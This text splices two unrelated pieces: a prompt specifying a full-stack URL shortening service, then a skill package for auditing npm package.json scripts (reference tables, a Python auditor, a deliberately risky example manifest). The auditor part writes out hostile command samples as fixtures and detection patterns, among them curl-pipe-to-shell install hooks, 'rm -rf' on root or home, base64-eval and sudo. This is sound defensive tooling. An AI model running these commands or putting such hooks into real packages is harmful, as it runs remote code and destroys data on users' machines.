This prompt provides a comprehensive blueprint for building a secure, full-stack URL shortening service. It specifies a lightweight vanilla JS frontend and a robust RESTful backend. Key features include custom aliases, QR codes, detailed analytics, link expiration, password protection, and strict security measures, ensuring high performance and WCAG accessibility.
## 🚀 URL Shortening Service — Full-Stack Application
### 📋 Project Overview
Build a production-ready, full-stack URL shortening service with a modern, accessible frontend and a robust RESTful backend API. The application must handle the complete lifecycle of shortened links: creation, redirection, tracking, management, and expiration. Prioritize performance, security, and an exceptional user experience across all devices.
---
### 🛠️ Tech Stack
**Frontend:**
- Semantic HTML5 with ARIA attributes for accessibility (WCAG 2.1 AA compliance)
- CSS3 with CSS Custom Properties (variables), Flexbox, and CSS Grid
- Vanilla JavaScript (ES2022+) using modular architecture (ES Modules)
- No heavy frameworks — keep the bundle lightweight and fast
**Backend API:**
- RESTful API design following OpenAPI 3.0 specification
- JSON request/response format with proper HTTP status codes
- CORS configuration for cross-origin requests
- Rate limiting per IP and per API key
**Libraries (CDN or bundled):**
- QR Code generation (e.g., `qrcode.js` or `qr-creator`)
- Charting library for analytics (e.g., Chart.js or lightweight alternative)
- Date picker for expiration (e.g., `flatpickr`)
- Toast notification system (custom-built, no dependency)
---
### 🎨 Frontend — UI/UX Requirements
**Layout & Design:**
- Clean, minimalist design with a hero section featuring a **large, prominent URL input field** centered on the page
- Implement a **dark/light mode toggle** with system preference detection (`prefers-color-scheme`) and `localStorage` persistence
- Use a consistent design system: typography scale, spacing tokens, color palette
- Smooth micro-animations and transitions (fade-ins, slide-ups, button ripples) for all interactive elements
- Skeleton loading states for async content (analytics, history table)
**Responsive Design:**
- Mobile-first approach with breakpoints at 480px, 768px, 1024px, and 1440px
- Touch-friendly tap targets (minimum 44×44px)
- Collapsible navigation menu on mobile (hamburger menu with animation)
- Fluid typography using `clamp()`
**Accessibility:**
- Full keyboard navigation support (tab order, focus trapping in modals)
- Screen reader announcements for dynamic content (`aria-live` regions)
- Visible focus indicators on all interactive elements
- Sufficient color contrast ratios (minimum 4.5:1 for text)
- Reduced motion support (`prefers-reduced-motion`)
---
### ⚙️ Core Features
#### 1. URL Shortening Engine
- Prominent input field with placeholder text and real-time validation feedback
- **URL validation**: Check for valid protocol (`http://`, `https://`), proper domain structure, and reject malformed URLs using both regex and the `URL` constructor API
- **URL sanitization**: Strip tracking parameters (UTM, fbclid, gclid), remove redundant slashes, normalize protocol and case
- Auto-prepend `https://` if no protocol is provided
- Display the shortened URL immediately after creation with a success animation
- **Bulk URL shortening**: Allow users to paste multiple URLs (one per line) and shorten them all at once
#### 2. Custom Alias Support
- Optional custom alias field (e.g., `short.ly/my-brand`)
- Real-time availability check as the user types (debounced API call, 300ms)
- Alias validation rules: alphanumeric, hyphens, underscores only; 3–30 characters; reserved word blacklist (e.g., `admin`, `api`, `login`, `static`)
- Clear error messaging if the alias is taken or invalid
#### 3. QR Code Generation
- Auto-generate a QR code for every shortened URL upon creation
- QR code modal/panel with options to:
- Download as PNG (high resolution, 1024×1024)
- Download as SVG (vector, scalable)
- Customize foreground/background colors
- Add a small logo overlay in the center (optional)
- Ensure QR codes encode the full shortened URL and are scannable at small sizes
#### 4. Click Tracking & Analytics Dashboard
- Track every redirect with the following data points:
- Timestamp (UTC)
- Country and city (via IP geolocation API)
- Device type (mobile, tablet, desktop)
- Operating system and browser (via User-Agent parsing)
- Referrer URL
- Unique vs. returning visitor (via cookie/fingerprint)
- **Analytics Dashboard** per link including:
- Total clicks and unique clicks counters
- Clicks over time line chart (filterable: last 24h, 7d, 30d, 90d, all time)
- Geographic distribution map or bar chart (top 10 countries)
- Device/OS/Browser breakdown (donut or pie charts)
- Top referrers table
- Click heatmap by day of week and hour of day
- Aggregate analytics overview on the main dashboard (total links, total clicks, most popular link)
#### 5. Link Expiration
- Optional expiration date/time picker when creating a link
- Support presets: 1 hour, 24 hours, 7 days, 30 days, custom date
- Display a countdown or "expires in X" badge on active links
- Automatically deactivate expired links and show a friendly "This link has expired" page on redirect attempts
- Allow users to extend or remove expiration on existing links
#### 6. Password Protection
- Optional password toggle when creating a link
- If enabled, show a password input gate page before redirecting to the target URL
- Hash passwords server-side using bcrypt or Argon2 (never store plaintext)
- Rate-limit password attempts (max 5 per minute per IP) with lockout messaging
- Visual indicator (lock icon 🔒) on password-protected links in the history view
#### 7. Copy-to-Clipboard
- One-click copy button next to every shortened URL
- Use the Clipboard API (`navigator.clipboard.writeText()`) with fallback to `document.execCommand('copy')`
- Visual confirmation: button icon changes to a checkmark ✅ with a "Copied!" tooltip/toast that auto-dismisses after 2 seconds
- Keyboard shortcut support (e.g., `Ctrl+Shift+C` to copy the most recently created link)
#### 8. URL History & Management
- Persistent history table/grid of all shortened URLs (stored in `localStorage` for guests, database for authenticated users)
- Each entry displays: original URL (truncated with tooltip), short URL, creation date, click count, status (active/expired/password-protected), and action buttons
- **Search**: Full-text search across original URLs, aliases, and tags
- **Filtering**: By status (active, expired, protected), date range, click count range, and tags
- **Sorting**: By creation date, click count, alphabetically (ascending/descending)
- **Pagination or infinite scroll** for large histories (25 items per page)
- **Bulk actions**: Select multiple links to delete, disable, or export as CSV/JSON
- **Tags/Labels**: Allow users to add custom tags to organize links (e.g., "marketing", "social", "campaign-q4")
---
### 🔒 Security Requirements
- Input sanitization on both client and server to prevent XSS attacks
- CSRF protection on all state-changing API endpoints
- Validate and sanitize redirect targets to prevent open redirect vulnerabilities (whitelist allowed protocols, block `javascript:`, `data:`, `file:` schemes)
- Implement Content Security Policy (CSP) headers
- Rate limiting: max 20 link creations per minute per IP; max 100 API requests per minute
- Secure HTTP headers: `X-Content-Type-Options`, `X-Frame-Options`, `Strict-Transport-Security`
- Never expose internal IDs; use nanoid or UUID for public link identifiers
---
### ⚡ Performance Requirements
- Target Lighthouse scores: Performance >90, Accessibility >95, Best Practices >95, SEO >90
- Lazy-load analytics charts and non-critical assets
- Debounce all search and validation inputs
- Use `IntersectionObserver` for scroll-based animations and lazy loading
- Minimize reflows and repaints; use CSS `transform` and `opacity` for animations
- Cache API responses where appropriate (e.g., analytics data with 60s TTL)
- Redirects should resolve in under 100ms server-side
---
### 🧪 Error Handling & Edge Cases
- Graceful error messages for: network failures, API timeouts, invalid URLs, duplicate aliases, server errors (500), rate limit exceeded (429)
- Offline detection: show a banner when the user loses connectivity and queue actions for retry
- Handle extremely long URLs (up to 2048 characters) without breaking the layout
- Handle Unicode/internationalized domain names (IDN) correctly
- Empty state illustrations for when the user has no links or no analytics data
---
### 📁 Deliverables
1. Complete, well-commented source code with a clear folder structure
2. `README.md` with setup instructions, API documentation, and feature list
3. API endpoint reference table (method, path, parameters, response format)
4. A `demo` mode with sample data pre-loaded for immediate preview
5. Responsive across Chrome, Firefox, Safari, and Edge (latest 2 versions)
---
> **Note:** Build this incrementally — start with the core shortening flow (input → validate → shorten → display → copy), then layer on QR codes, analytics, custom aliases, expiration, password protection, and the full history dashboard. Ensure each feature is fully functional and tested before moving to the next.Audits the scripts section of an npm package.json for safety and clarity: risky install hooks, curl-pipe-to-shell, rm -rf, sudo, inline secrets, unpinned npx, non-portable shell syntax, placeholder test scripts, missing standard scripts, and confusing names. Use when reviewing a repo, a dependency, or a PR that changes package.json scripts. Includes a stdlib Python auditor with severity levels.
---
name: package-json-scripts-auditor
description: Audits the scripts section of an npm package.json for safety and clarity: risky install hooks, curl-pipe-to-shell, rm -rf, sudo, inline secrets, unpinned npx, non-portable shell syntax, placeholder test scripts, missing standard scripts, and confusing names. Use when reviewing a repo, a dependency, or a PR that changes package.json scripts. Includes a stdlib Python auditor with severity levels.
---
# package.json Scripts Auditor
You review the `scripts` block of a Node.js `package.json` and explain what each script does, which ones are risky, and how to make the set clearer and more portable. You cover two audiences: maintainers tidying their own project, and reviewers checking whether a dependency or PR runs anything dangerous at install time. You never run the scripts yourself; you read them.
## Files in this skill
- `scripts/audit_scripts.py` - reads a package.json and reports findings with severity (high, medium, low, info) and a suggested fix (Python 3 standard library only)
- `references/script-conventions.md` - standard script names, lifecycle hooks, naming, and portability conventions
- `references/dangerous-patterns.md` - patterns that deserve a closer look, why they matter, and safer alternatives
- `templates/audit-report.md` - the report shape to return
- `examples/package.json` - a deliberately messy example to practice on
## Workflow
### 1. Collect context
Ask for the full `package.json` (not only `scripts`, since `name`, `private`, `bin`, `workspaces`, and `packageManager` matter), and whether this is the user's own project or a third-party package. Ask which OS the team uses (Windows support changes portability advice).
### 2. Run the auditor
```
python3 scripts/audit_scripts.py path/to/package.json
python3 scripts/audit_scripts.py --json path/to/package.json
python3 scripts/audit_scripts.py --self-test
```
Exit code 0 = no high findings, 1 = at least one high finding, 2 = file error.
### 3. Review manually
The script is pattern-based. Also read each script yourself and check:
- Lifecycle hooks (`preinstall`, `install`, `postinstall`, `prepare`) run automatically for consumers; any network call or file write outside the project there is a red flag.
- Scripts that call other files (`node scripts/setup.js`, `sh ./build.sh`): ask to see those files before calling the package safe.
- Obfuscation (base64, hex strings, `eval`, `node -e` with long one-liners) deserves high suspicion.
### 4. Recommend
Use `references/script-conventions.md` and `references/dangerous-patterns.md` to propose concrete replacements: `rimraf` or `del-cli` instead of `rm -rf`, `cross-env` instead of `VAR=value cmd`, pinned `npx pkg@1.2.3`, `prepublishOnly` running tests, and grouped names like `lint:js`, `test:unit`.
### 5. Report
Fill `templates/audit-report.md`: verdict, findings table, a rewritten `scripts` block, and follow-up questions.
## Rules
- Rate severity by impact: anything that can run remote code or delete files outside the project on install is high.
- Do not accuse authors of malice; describe the behavior and the risk.
- Keep the user's existing script names when renaming would break CI, and say which CI files would need updating if you do suggest a rename.
- Suggest `npm install --ignore-scripts` for auditing untrusted packages, and `npm config set ignore-scripts true` only with the trade-offs explained.
FILE:references/dangerous-patterns.md
# Dangerous and Risky Script Patterns
| Pattern | Example | Why it matters | Safer alternative | Severity |
|---|---|---|---|---|
| Remote script piped to a shell | `curl -fsSL https://x.sh \| sh` | Runs whatever the server returns, unpinned and unverified | Vendor the script, pin by checksum, or use a published package | high |
| Network fetch in install hooks | `"postinstall": "node download.js"` / `wget` | Runs on every consumer's machine at install time | Ship artifacts in the package, or make the step opt-in | high |
| Recursive delete of broad paths | `rm -rf /`, `rm -rf ~`, `rm -rf $DIR/` with unset var | Can wipe data outside the project | `rimraf dist`, explicit relative paths | high |
| `sudo` | `sudo npm i -g x` | Escalates privileges from a script | Never require root in scripts; document manual steps | high |
| `eval` / encoded payloads | `eval "$(echo ... \| base64 -d)"`, `node -e "...Buffer.from('..','base64')"` | Hides what runs | Plain, readable commands in files | high |
| Inline secrets | `API_TOKEN=abc123 node deploy.js` | Leaks in git history and CI logs | Environment variables from a secret store or `.env` not committed | high |
| World-writable permissions | `chmod 777`, `chmod -R a+w` | Lets any user modify files | Minimal permissions (`chmod +x file`) | medium |
| Skipping safety checks | `git commit --no-verify`, `npm publish --force`, `--unsafe-perm` | Bypasses hooks and protections | Fix the failing check instead | medium |
| Unpinned `npx` / `dlx` | `npx create-thing` | Downloads and runs the latest version at run time | `npx create-thing@3.2.1` or add as devDependency | medium |
| Global installs in scripts | `npm i -g typescript` | Changes the user's machine; versions drift | devDependency + local bin | medium |
| Plain HTTP URLs | `curl http://...` | Can be tampered with in transit | HTTPS | medium |
| `git push` / `npm publish` in hooks | `"postbuild": "npm publish"` | Accidental releases | Explicit `release` script run by CI | medium |
| Non-portable shell syntax | `NODE_ENV=prod`, `export`, `cp -r` | Breaks on Windows | `cross-env`, `cpy-cli`, Node scripts | low |
| Placeholder test | `echo "Error: no test specified" && exit 1` | CI fails or tests silently missing | Real test runner | low |
| Very long one-liners | > 200 chars | Hard to review; hides risk | Move to a script file | low |
## Review tips
- For third-party packages: inspect with `npm pack <pkg>` and read the tarball, or install with `--ignore-scripts` first.
- Follow file references: `node scripts/postinstall.js` is only as safe as that file.
- Watch for `prepare` in git dependencies: it runs when installing from a git URL.
FILE:references/script-conventions.md
# npm Script Conventions
## Standard names
| Script | Purpose | Run with |
|---|---|---|
| `start` | Run the app in production mode | `npm start` |
| `dev` | Run with watch / hot reload | `npm run dev` |
| `build` | Produce build output | `npm run build` |
| `test` | Run the test suite (CI default) | `npm test` |
| `lint` | Static checks | `npm run lint` |
| `format` | Apply formatter | `npm run format` |
| `typecheck` | `tsc --noEmit` or similar | `npm run typecheck` |
| `clean` | Remove build artifacts | `npm run clean` |
Use a colon to group variants: `test:unit`, `test:e2e`, `lint:css`, `build:docs`. Use `npm-run-all` / `run-p` / `run-s`, or `npm run a && npm run b`, to compose them.
## Lifecycle hooks
| Hook | Runs when | Notes |
|---|---|---|
| `preinstall`, `install`, `postinstall` | Your package is installed, including as a dependency | Runs on every consumer's machine. Keep empty unless compiling native code. |
| `prepare` | After local `npm install` and before `npm publish`/`npm pack`; also for git dependencies | Good for building or setting up git hooks (e.g. `husky`). |
| `prepublishOnly` | Only before `npm publish` | Put `npm test && npm run build` here. |
| `prepack`, `postpack` | Around `npm pack` / publish | |
| `preX` / `postX` | Automatically before/after any script `X` | Can surprise readers; prefer explicit chaining. pnpm does not run them by default. |
## Portability
- Windows `cmd.exe` does not understand `VAR=value cmd`, `export`, `rm -rf`, `cp -r`, `&` backgrounding, single quotes, or `$VAR`. Use `cross-env`, `rimraf`, `cpy-cli`, `concurrently`, and Node scripts.
- `&&` works in both shells; `;` does not run the same way in `cmd.exe`.
- Prefer local binaries (from `devDependencies`) over globally installed ones; npm adds `node_modules/.bin` to PATH inside scripts.
## Clarity
- One job per script; move long logic (> ~120 characters) into `scripts/*.js` or `*.mjs` files.
- Avoid names that shadow npm commands or each other (`install`, `publish`, `test2`).
- Replace the default `echo "Error: no test specified" && exit 1` with a real test command or remove it.
- Document unusual scripts in the README.
- Set `"private": true` for apps that must never be published.
FILE:templates/audit-report.md
# package.json Scripts Audit
**Package:** `<name>@<version>` | **Owner:** own project / third-party | **Private:** yes/no
**Verdict:** Safe / Needs changes / Do not install until reviewed
**Counts:** high `<n>`, medium `<n>`, low `<n>`, info `<n>`
## Script inventory
| Script | What it does (plain words) | Runs automatically? |
|---|---|---|
| `build` | | no |
| `postinstall` | | yes, on every install |
## Findings
| # | Severity | Script | Pattern | Why it matters | Fix |
|---|---|---|---|---|---|
| 1 | high | | | | |
## Suggested scripts block
```json
{
"scripts": {
}
}
```
## Also check
- Files referenced by scripts: `<list>`
- CI files that call renamed scripts: `<list>`
- devDependencies to add: `<rimraf, cross-env, ...>`
## Questions for the maintainer
1.
FILE:examples/package.json
{
"name": "acme-dashboard",
"version": "0.4.2",
"description": "Internal dashboard (example with deliberately messy scripts for auditing practice)",
"main": "dist/index.js",
"scripts": {
"preinstall": "curl -fsSL http://get.example.com/setup.sh | sh",
"postinstall": "node scripts/fetch-assets.js",
"start": "NODE_ENV=production node dist/index.js",
"dev": "nodemon src/index.ts",
"build": "rm -rf dist && tsc -p .",
"test": "echo \"Error: no test specified\" && exit 1",
"deploy": "API_TOKEN=sk_live_example123 node scripts/deploy.js",
"fix-perms": "chmod -R 777 ./uploads",
"commit": "git add -A && git commit --no-verify -m wip",
"gen": "npx create-acme-widget",
"postbuild": "npm publish",
"setup": "sudo npm install -g typescript"
},
"devDependencies": {
"nodemon": "^3.1.0",
"typescript": "^5.6.0"
}
}
FILE:scripts/audit_scripts.py
#!/usr/bin/env python3
"""Audit the "scripts" section of an npm package.json.
Usage:
python3 audit_scripts.py path/to/package.json [--json]
python3 audit_scripts.py --self-test
Exit codes: 0 = no high findings, 1 = high findings present, 2 = file error.
Pattern-based: always read the scripts and any files they call yourself.
Python 3 standard library only.
"""
import argparse
import json
import re
import sys
INSTALL_HOOKS = {"preinstall", "install", "postinstall", "prepare"}
SEVERITY_ORDER = {"high": 0, "medium": 1, "low": 2, "info": 3}
# (id, regex, severity, message, fix)
PATTERNS = [
("pipe-to-shell", r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", "high",
"Downloads a remote script and pipes it into a shell.",
"Vendor the script, verify a checksum, or use a pinned package."),
("broad-rm", r"\brm\s+-[a-z]*r[a-z]*f?[a-z]*\s+(/|~|\$HOME|\$\{?\w+\}?/?)(\s|$|&|;)", "high",
"Recursive delete of a root, home, or variable-based path.",
"Delete an explicit relative path, e.g. `rimraf dist`."),
("sudo", r"(^|[\s;&|])sudo\s", "high",
"Uses sudo inside an npm script.",
"Never require root from scripts; document any manual setup."),
("eval-or-encoded", r"\beval\b|base64\s+(-d|--decode)|Buffer\.from\([^)]*base64", "high",
"Uses eval or decodes an encoded payload, hiding what runs.",
"Replace with plain, readable commands in a script file."),
("inline-secret", r"\b[A-Z0-9_]*(TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|PRIVATE_KEY)[A-Z0-9_]*=(?!\$)\S+", "high",
"Hard-coded secret value in a script.",
"Read secrets from the environment or a secret manager; rotate the exposed value."),
("chmod-777", r"\bchmod\s+(-R\s+)?(0?777|a\+w|o\+w)\b", "medium",
"Makes files world-writable.",
"Use minimal permissions, e.g. `chmod +x bin/cli.js`."),
("skip-checks", r"--no-verify|--force\b|--unsafe-perm|--ignore-engines", "medium",
"Bypasses safety checks or hooks.",
"Fix the underlying failure instead of skipping the check."),
("unpinned-npx", r"\b(npx|pnpm\s+dlx|bunx|yarn\s+dlx)\s+(-y\s+|--yes\s+)?(?!-)(@?[\w./-]+)(?=\s|$)(?<!@latest)", "medium",
"Runs a package via npx/dlx without a pinned version.",
"Pin it (`npx pkg@1.2.3`) or add it to devDependencies."),
("global-install", r"\bnpm\s+(i|install)\s+(-g|--global)\b|\byarn\s+global\s+add\b", "medium",
"Installs packages globally from a script.",
"Add as a devDependency and use the local binary."),
("plain-http", r"http://(?!localhost|127\.0\.0\.1)", "medium",
"Fetches over plain HTTP.",
"Use HTTPS."),
("publish-or-push", r"\bnpm\s+publish\b|\bgit\s+push\b", "medium",
"Publishes or pushes from a script.",
"Keep releases in an explicit `release` script or CI job."),
("non-portable-env", r"(^|&&\s*|;\s*)[A-Z_][A-Z0-9_]*=\S+\s+\S", "low",
"Inline env assignment `VAR=value cmd` does not work in Windows cmd.",
"Use `cross-env VAR=value cmd`."),
("non-portable-cmd", r"(^|[\s;&|])(rm\s+-|cp\s+-r|export\s+\w+=|mv\s)", "low",
"Unix-only shell command.",
"Use rimraf / cpy-cli / a Node script for Windows support."),
]
PLACEHOLDER_TEST = re.compile(r'no test specified', re.I)
NETWORK = re.compile(r"\b(curl|wget|git\s+clone|Invoke-WebRequest)\b|https?://", re.I)
FILE_REF = re.compile(r"\b(?:node|sh|bash|python3?)\s+(\.?/?[\w./-]+\.(?:m?js|cjs|ts|sh|py))")
def audit(pkg):
findings = []
def add(sev, script, rule, msg, fix):
findings.append({"severity": sev, "script": script, "rule": rule, "message": msg, "fix": fix})
scripts = pkg.get("scripts")
if not isinstance(scripts, dict) or not scripts:
add("info", None, "no-scripts", "No scripts section found.", "Add standard scripts such as build, test, lint.")
return findings
for name, cmd in scripts.items():
if not isinstance(cmd, str):
add("medium", name, "not-string", "Script value is not a string.", "Make it a shell command string.")
continue
for rule, rx, sev, msg, fix in PATTERNS:
if re.search(rx, cmd):
add(sev, name, rule, msg, fix)
if name in INSTALL_HOOKS:
if name == "prepare":
add("info", name, "install-hook", "`prepare` runs on local install and for git dependencies.",
"Keep it limited to build or git-hook setup.")
else:
add("medium", name, "install-hook", f"`{name}` runs automatically on every consumer's install.",
"Remove it unless it compiles native code; move setup to an explicit script.")
if NETWORK.search(cmd):
add("high", name, "network-in-install-hook", "Install hook performs network access.",
"Ship assets in the package or make the download opt-in.")
for ref in FILE_REF.findall(cmd):
add("high" if name != "prepare" else "medium", name, "install-hook-runs-file",
f"Install hook executes `{ref}`; its contents decide the real risk.",
f"Read `{ref}` before trusting this package.")
if name == "test" and PLACEHOLDER_TEST.search(cmd):
add("low", name, "placeholder-test", "Default placeholder test script.", "Wire up a real test runner.")
if len(cmd) > 200:
add("low", name, "long-script", f"Script is {len(cmd)} characters long.", "Move the logic into a script file.")
if name.startswith(("pre", "post")) and name not in INSTALL_HOOKS and name not in ("prepublishOnly", "prepack", "postpack"):
base = name[3:] if name.startswith("pre") else name[4:]
if base in scripts:
add("info", name, "implicit-hook", f"Runs automatically around `{base}` (pnpm skips these by default).",
f"Consider chaining explicitly inside `{base}`.")
if not re.match(r"^[a-z0-9][a-z0-9:._-]*$", name):
add("low", name, "naming", "Script name uses unusual characters or uppercase.",
"Use lowercase names grouped with colons, e.g. `test:unit`.")
for std in ("build", "test", "lint"):
if std not in scripts and not any(k.startswith(std + ":") for k in scripts):
add("info", None, "missing-standard", f"No `{std}` script.", f"Add a `{std}` script if the project needs one.")
if not pkg.get("private") and "prepublishOnly" not in scripts and "publish-or-push" not in [f["rule"] for f in findings]:
add("info", None, "no-prepublishonly", "Package is publishable but has no `prepublishOnly` check.",
"Add `\"prepublishOnly\": \"npm test && npm run build\"` or set `\"private\": true`.")
findings.sort(key=lambda f: (SEVERITY_ORDER[f["severity"]], f["script"] or ""))
return findings
def self_test():
pkg = {
"name": "t", "scripts": {
"preinstall": "curl -fsSL http://x.example/s.sh | sh",
"postinstall": "node scripts/setup.js",
"clean": "rm -rf $OUT/",
"deploy": "API_TOKEN=abc123 node deploy.js",
"perm": "chmod -R 777 uploads",
"gen": "npx create-foo",
"gen2": "npx create-foo@1.2.3",
"start": "NODE_ENV=production node index.js",
"test": "echo \"Error: no test specified\" && exit 1",
"setup": "sudo npm i -g typescript",
"build": "tsc",
}}
f = audit(pkg)
rules = {(x["script"], x["rule"]) for x in f}
checks = [
(("preinstall", "pipe-to-shell"), True),
(("preinstall", "network-in-install-hook"), True),
(("preinstall", "plain-http"), True),
(("postinstall", "install-hook-runs-file"), True),
(("clean", "broad-rm"), True),
(("deploy", "inline-secret"), True),
(("perm", "chmod-777"), True),
(("gen", "unpinned-npx"), True),
(("gen2", "unpinned-npx"), False),
(("start", "non-portable-env"), True),
(("test", "placeholder-test"), True),
(("setup", "sudo"), True),
(("setup", "global-install"), True),
(("build", "broad-rm"), False),
]
failed = 0
for key, expected in checks:
ok = (key in rules) == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {key[0]}:{key[1]} expected={'present' if expected else 'absent'}")
clean = audit({"name": "c", "private": True, "scripts": {"build": "tsc -p .", "test": "vitest run", "lint": "eslint ."}})
ok = not [x for x in clean if x["severity"] in ("high", "medium", "low")]
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} clean package has no high/medium/low findings")
total = len(checks) + 1
print(f"\n{total - failed}/{total} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Audit npm package.json scripts.")
p.add_argument("file", nargs="?", help="Path to package.json")
p.add_argument("--json", action="store_true", help="Output JSON")
p.add_argument("--self-test", action="store_true", help="Run built-in tests")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
p.error("file is required (or use --self-test)")
try:
with open(a.file, encoding="utf-8") as fh:
pkg = json.load(fh)
except (OSError, json.JSONDecodeError) as exc:
print(f"Cannot read {a.file}: {exc}", file=sys.stderr)
return 2
findings = audit(pkg)
counts = {s: sum(1 for f in findings if f["severity"] == s) for s in SEVERITY_ORDER}
if a.json:
print(json.dumps({"package": pkg.get("name"), "counts": counts, "findings": findings}, indent=2))
else:
print(f"Package: {pkg.get('name', '?')}@{pkg.get('version', '?')}")
for f in findings:
where = f["script"] or "-"
print(f"[{f['severity'].upper():6}] {where:12} {f['rule']}: {f['message']}\n{'':22}fix: {f['fix']}")
print("\n" + ", ".join(f"{k} {v}" for k, v in counts.items()))
return 1 if counts["high"] else 0
if __name__ == "__main__":
sys.exit(main())